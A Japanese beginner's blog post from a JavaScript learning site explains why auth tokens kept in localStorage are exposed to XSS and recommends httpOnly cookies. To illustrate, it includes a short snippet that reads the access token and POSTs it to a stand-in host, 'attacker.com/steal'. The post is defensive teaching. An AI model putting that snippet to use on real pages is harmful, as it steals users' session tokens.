shiftB
instagramyoutube
é‹ć–¶äŒšç€Ÿăƒ—ăƒ©ă‚€ăƒă‚·ăƒŒăƒăƒȘă‚·ăƒŒç‰čćźšć•†ć–ćŒ•æł•ă«ćŸșă„ăèĄšèš˜JavaScriptć­Šçż’ă‚”ă‚€ăƒˆ JS Gym
お敏い搈わせ
©2025 bubekichi inc.

đŸ› ïž ăŸăšăŻć‹•ă‹ă™ïŒă§ă‚‚ăăźă‚ăšă«è€ƒăˆă‚‹ăčăă€Œă‚»ă‚­ăƒ„ăƒȘăƒ†ă‚Łă€ăźè©±

0
Threads
ć—èŹ›ç”Ÿăƒ–ăƒ­ă‚°

đŸ› ïž ăŸăšăŻć‹•ă‹ă™ïŒă§ă‚‚ăăźă‚ăšă«è€ƒăˆă‚‹ăčăă€Œă‚»ă‚­ăƒ„ăƒȘăƒ†ă‚Łă€ăźè©±

icon
さかした

đŸ› ïž ăŸăšăŻć‹•ă‹ă™ïŒă§ă‚‚ăăźă‚ăšă«è€ƒăˆă‚‹ăčăă€Œă‚»ă‚­ăƒ„ăƒȘăƒ†ă‚Łă€ăźè©±

æŠ•çšżæ—„: 2025ćčŽ05月26æ—„

Tips
ć­Šçż’æŒŻă‚Šèż”ă‚Š
芁玄
  • ăƒ­ă‚°ă‚€ăƒłæ©Ÿèƒœă‚’ćźŸèŁ…ă™ă‚‹éš›ă€ăŸăšăŻć‹•ăă“ăšăŒé‡èŠă ăŒă€ăăźćŸŒăźă‚»ă‚­ăƒ„ăƒȘăƒ†ă‚ŁćŻŸç­–ă‚‚è€ƒæ…źă™ă‚‹ćż…èŠăŒă‚ă‚‹ă€‚
  • localStorageやsessionStorageă‚’äœżç”šă™ă‚‹ăšXSSæ”»æ’ƒăźăƒȘă‚čă‚ŻăŒé«˜ăŸă‚‹ăŸă‚ă€ăƒˆăƒŒă‚ŻăƒłăŻhttpOnly Cookieă«äżć­˜ă™ă‚‹ă“ăšăŒæŽšć„šă•ă‚Œă‚‹ă€‚
  • ă€Œć‹•äœœă™ă‚‹ă“ăšă€ă‹ă‚‰ă€Œćźˆă‚‹ă“ăšă€ăžăźç§»èĄŒăŒé‡èŠă§ă€ăƒȘă‚ąăƒ«ăȘć±æ©Ÿæ„Ÿă‚’æŒăĄă€ă€ă‚ąăƒ—ăƒȘをé€ČćŒ–ă•ă›ăŠă„ăćż…èŠăŒă‚ă‚‹ă€‚
éŸłćŁ°ă§èš˜äș‹ă‚’ć†ç”Ÿ

WebケプăƒȘを開ç™șă—ăŠă„ă‚‹ăšă€ăŸăšă€Œăƒ­ă‚°ă‚€ăƒłæ©Ÿèƒœă‚’ă€ă‘ăŸă„ă€ăšæ€ă„ăŸă™ă‚ˆă­ă€‚
æœ€ćˆăŻăšă«ă‹ăă€Œć‹•ăă“ăšă€ăŒć€§äș‹ă§ă™ă€‚ćƒ•ă‚‚ăă†ă§ă—ăŸă€‚

  • ăƒ­ă‚°ă‚€ăƒłă—ăŸă‚‰ăƒ€ăƒƒă‚·ăƒ„ăƒœăƒŒăƒ‰ă«é·ç§»ă™ă‚‹

  • もう侀ćșŠé–‹ă„ăŸă‚‰ăƒ­ă‚°ă‚€ăƒłçŠ¶æ…‹ăŒæź‹ăŁăŠă„ă‚‹

  • ă€Œăƒ­ă‚°ă‚€ăƒłçŠ¶æ…‹ă‚’äżæŒă™ă‚‹ă€ă«ăƒă‚§ăƒƒă‚Żă‚’ă€ă‘ăŸă‚‰èš˜æ†¶ă•ă‚Œă‚‹

ăŸăšăŻă“ă“ăŸă§ă§ăă‚Œă°ă€ŒăŠăŠă€ć‹•ă„ăŸăžïŒă€ăšăƒ†ăƒłă‚·ăƒ§ăƒłăŒäžŠăŒă‚ŠăŸă™ă€‚

ă§ă‚‚ă€ăă‚Œă ă‘ă§ç”‚ă‚ăŁăŠăŻă„ă‘ăŸă›ă‚“ă€‚
ä»Šć›žăŻă€ŒăƒˆăƒŒă‚Żăƒłăźäżć­˜ć Žæ‰€ă€ă«ă€ă„ăŠă€ă‚»ă‚­ăƒ„ăƒȘăƒ†ă‚ŁăźèŠłç‚čă‹ă‚‰ă‚ăšă§ăĄă‚ƒă‚“ăšè€ƒăˆă‚ˆă†ăšă„ă†è©±ă§ă™ă€‚


🔰 ćˆæœŸćźŸèŁ…ă§ă‚ˆăă‚ă‚‹äżć­˜æ–čæł•localStorage や sessionStorage

ăŸăšæ‰‹è»œă«ć‹•ă‹ă™æ–čæł•ăšă—ăŠă‚ˆăäœżă‚ă‚Œă‚‹ăźăŒă“ă‚Œă§ă™ïŒš

localStorage.setItem("accessToken", token);

ăƒ­ă‚°ă‚€ăƒłćŸŒă«ăƒˆăƒŒă‚Żăƒłă‚’ć–ćŸ—ă—ăŠ localStorage ă«äżć­˜ă—ă€æŹĄć›žă‚ąă‚Żă‚»ă‚čæ™‚に localStorage.getItem() でèȘ­ăżć‡șă›ă°ă€ă€Œăƒ­ă‚°ă‚€ăƒłçŠ¶æ…‹ă‚’äżæŒă—ăŠă„ă‚‹ă‚ˆă†ă«èŠ‹ăˆă‚‹ă€ ăšă„ă†ćźŸèŁ…ă«ăȘă‚ŠăŸă™ă€‚

ă“ă‚Œă€ăšăŠă‚‚æ‰‹è»œă§ć‹•ăăŸă™ă€‚

💣 ă§ă‚‚ćźŸăŻă“ă‚Œă€ă‚»ă‚­ăƒ„ăƒȘăƒ†ă‚Łçš„ă«ă‹ăȘă‚Šć±ăȘă„ïŒ

localStorage や sessionStorage は、JavaScript ă‹ă‚‰ç°Ąć˜ă«èȘ­ăżæ›žăă§ăăŸă™ă€‚
べいうこべは、**æ‚Șæ„ăźă‚ă‚‹ă‚čクăƒȘăƒ—ăƒˆïŒˆXSS攻撃**ăŒć…„ă‚ŠèŸŒă‚“ă ăšăă€ä»„äž‹ăźă‚ˆă†ăȘă“ăšăŒćŻèƒœă«ăȘă‚ŠăŸă™ă€‚

const stolenToken = localStorage.getItem("accessToken");
fetch("https://attacker.com/steal", {
  method: "POST",
  body: JSON.stringify({ token: stolenToken }),
});

ă“ă‚ŒăŻæœŹćœ“ă«ć±é™șです。

🔐 ăă“ă§ç™»ć Žă™ă‚‹ăźăŒă€ŒhttpOnly Cookie」

httpOnly ăƒ•ăƒ©ă‚°ă‚’ă€ă‘ăŸ Cookie ă«ăƒˆăƒŒă‚Żăƒłă‚’äżć­˜ă™ă‚‹ăšă€JavaScript からスクセă‚čă§ăăŸă›ă‚“ă€‚
ă€ăŸă‚Šă€XSSæ”»æ’ƒăźèą«ćźłă‚’ć€§ăăæž›ă‚‰ă™ă“ăšăŒă§ăăŸă™ă€‚

res.cookies.set("access-token", token, {
  httpOnly: true,
  secure: true,
  sameSite: "lax",
  path: "/",
  maxAge: 60 * 60 * 24 * 30, // 30æ—„
});

ă“ăźă‚ˆă†ă«èš­ćźšă™ă‚Œă°ă€ăƒˆăƒŒă‚ŻăƒłăŻ ă‚”ăƒŒăƒăƒŒă«è‡Șć‹•ă§é€äżĄă•ă‚Œă€ă‚Żăƒ©ă‚€ă‚ąăƒłăƒˆćŽă§ăŻè§Šă‚ŒăȘă„çŠ¶æ…‹ă«ăȘă‚ŠăŸă™ă€‚

✅ ç”è«–ïŒšăŸăšăŻć‹•ă → æŹĄă«ćźˆă‚‹

ćˆćżƒè€…ăŒé™„ă‚ŠăŒăĄăȘèœăšă—ç©ŽăŻă€ă€Œć‹•ă„ăŸă‹ă‚‰OKïŒă€ă§ç”‚ă‚ă‚‹ă“ăšă§ă™ă€‚

でも、WebケプăƒȘăŒć°‘ă—ăšă€äœżăˆă‚‹ă‚ˆă†ă«ăȘっどくるべ、
「æ‚Șæ„ă‚ă‚‹ă‚ąă‚Żă‚»ă‚č」や「ăȘă‚Šă™ăŸă—ă€ă‹ă‚‰ćźˆă‚‹ćż…èŠăŒć‡șăŠăăŸă™ă€‚

だからこそ、

  1. ăŸăšăŻ localStorage ăȘă©ă‚’äœżăŁăŠă€Œć‹•ăăƒ­ă‚°ă‚€ăƒłæ©Ÿèƒœă€ă‚’äœœă‚‹

  2. æŹĄă«ă‚»ă‚­ăƒ„ăƒȘăƒ†ă‚Łă«ă€ă„ăŠèȘżăčど、Cookieăƒ™ăƒŒă‚čă«ç§»èĄŒă™ă‚‹

ăšă„ă†æ”ă‚Œă§é–‹ç™șしどいくぼが、è‡Șç„¶ă§ă€ăă—ăŠæ­Łă—ă„é †ćșă ăšæ„Ÿă˜ăŠă„ăŸă™ă€‚

📝 ăŠăŸă‘ïŒšèŠšăˆăŠăŠăăčăăƒă‚€ăƒłăƒˆăŸăšă‚

đŸ› ïž ăŸăšăŻć‹•ă‹ă™ïŒă§ă‚‚ăăźă‚ăšă«è€ƒăˆă‚‹ăčăă€Œă‚»ă‚­ăƒ„ăƒȘăƒ†ă‚Łă€ăźè©±ïœœShiftBブログ

💡 æœ€ćŸŒă«

ă‚»ă‚­ăƒ„ăƒȘăƒ†ă‚Łă‚’ćźŒç’§ă«ç†è§Łă—ăŠă‹ă‚‰ćźŸèŁ…ă™ă‚‹ćż…èŠăŻă‚ă‚ŠăŸă›ă‚“ă€‚
æœ€ćˆăŻă€Œăƒ­ă‚°ă‚€ăƒłă§ăăŸïŒçŠ¶æ…‹ăŒäżæŒă§ăăŸïŒă€ăšă„ă†ăšă“ă‚ă§æș€è¶łă—ăŠă„ăŸă—ăŸă€‚ă§ă‚‚ćźŸéš›ă«è‡Ș戆でă‚ȘăƒȘă‚žăƒŠăƒ«ă‚ąăƒ—ăƒȘă‚’äœœă‚Šé€Čめどいく侭で、**ă€Œă‚‚ă—ä»–äșșăźăƒ–ăƒ©ă‚Šă‚¶ă§è‡Șć‹•ăƒ­ă‚°ă‚€ăƒłă•ă‚ŒăŸă‚‰ïŒŸă€ă€Œæ‚Șæ„ă‚ă‚‹ă‚łăƒŒăƒ‰ăŒć…„ă‚ŠèŸŒă‚“ă ă‚‰ïŒŸă€**べ、ăƒȘă‚ąăƒ«ăȘć±æ©Ÿæ„ŸăŒèŠœç”ŸăˆăŠăăŸă—ăŸă€‚

è‡Ș戆ぼケプăƒȘă«ăƒŠăƒŒă‚¶ăƒŒăŒćą—ăˆăŸă‚Šă€æ©ŸèƒœăŒćą—ăˆăŠă„ăăšă€ă€Œæ­Łă—ăć‹•ăă“ăšă€ă ă‘ă§ăŻè¶łă‚ŠăȘă„ăšæ°—ă„ăăŸă™ă€‚

ć‹•ăă‚‚ăźăŒă§ăăŸă‹ă‚‰ă“ăă€æŹĄă«ă€Œă©ă†ćźˆă‚‹ă‹ă€ă‚’çœŸć‰Łă«è€ƒăˆă‚‰ă‚Œă‚‹ă‚ˆă†ă«ăȘった――これはă‚ȘăƒȘă‚žăƒŠăƒ«ă‚ąăƒ—ăƒȘă‚’äœœăŁăŠăżăŸă‹ă‚‰ă“ăăźæ°—ă„ăă§ă—ăŸă€‚

0

ă‚·ă‚§ă‚ąïŒ

Threads
icon
さかした
おじさんでも歩ăčă‚‹ïŒă‚’ăƒąăƒƒăƒˆăƒŒă«ă€‚ ä»„ć‰ăŻRuby(3ćčŽ)、今は React / Next.js ă‚’äž­ćżƒă«ă€ć­Šçż’äž­ă€‚
ăƒ—ăƒ­ăƒ•ă‚ŁăƒŒăƒ«ă‚’èŠ‹ă‚‹
Loading...
蚘äș‹äž€èŠ§ă«æˆ»ă‚‹
Threads
0

é–ąé€Łèš˜äș‹

ăŸă é–ąé€Łèš˜äș‹ăŒă‚ă‚ŠăŸă›ă‚“

最新蚘äș‹

TypeScriptぼ枋漉慹をæźșす!? 怋äșșçš„ă‚ąăƒłăƒăƒ‘ă‚żăƒŒăƒłđŸ”„

user
ć‰æœŹèŒœ

ćˆćżƒè€…ć‘ă‘ïŒ3ă€ăźăƒ‘ă‚żăƒŒăƒłăźă‚łăƒŒăƒ‰æŻ”èŒƒă§ç†è§Łă™ă‚‹Next.jsăźă‚łăƒłăƒăƒŒăƒăƒłăƒˆćˆ†ć‰Č

icon
タマネゼ

NestJSăźăƒ‡ă‚łăƒŹăƒŒă‚żăƒŒăšăŻïŒŸ@Controllerや@Injectableăźæ„ć‘łăšäœżă„æ–čă‚’ćˆćżƒè€…ć‘ă‘

icon
kento

NestJSćˆćżƒè€…ć‘ă‘ïŒšAppModule / Controller / ServiceたćŸșæœŹæ§‹æˆăšć‹•äœœăźæ”ă‚Œ

icon
kento

Nest.jsたćŸșæœŹæ§‹æˆă‚Źă‚€ăƒ‰

icon
kento

ă‚łăƒŸăƒ„ăƒ‹ăƒ†ă‚Łă‚’æ„œă—ă‚€ăŸă‚ăźă‚čテップ

icon
ăŸăˆăŸă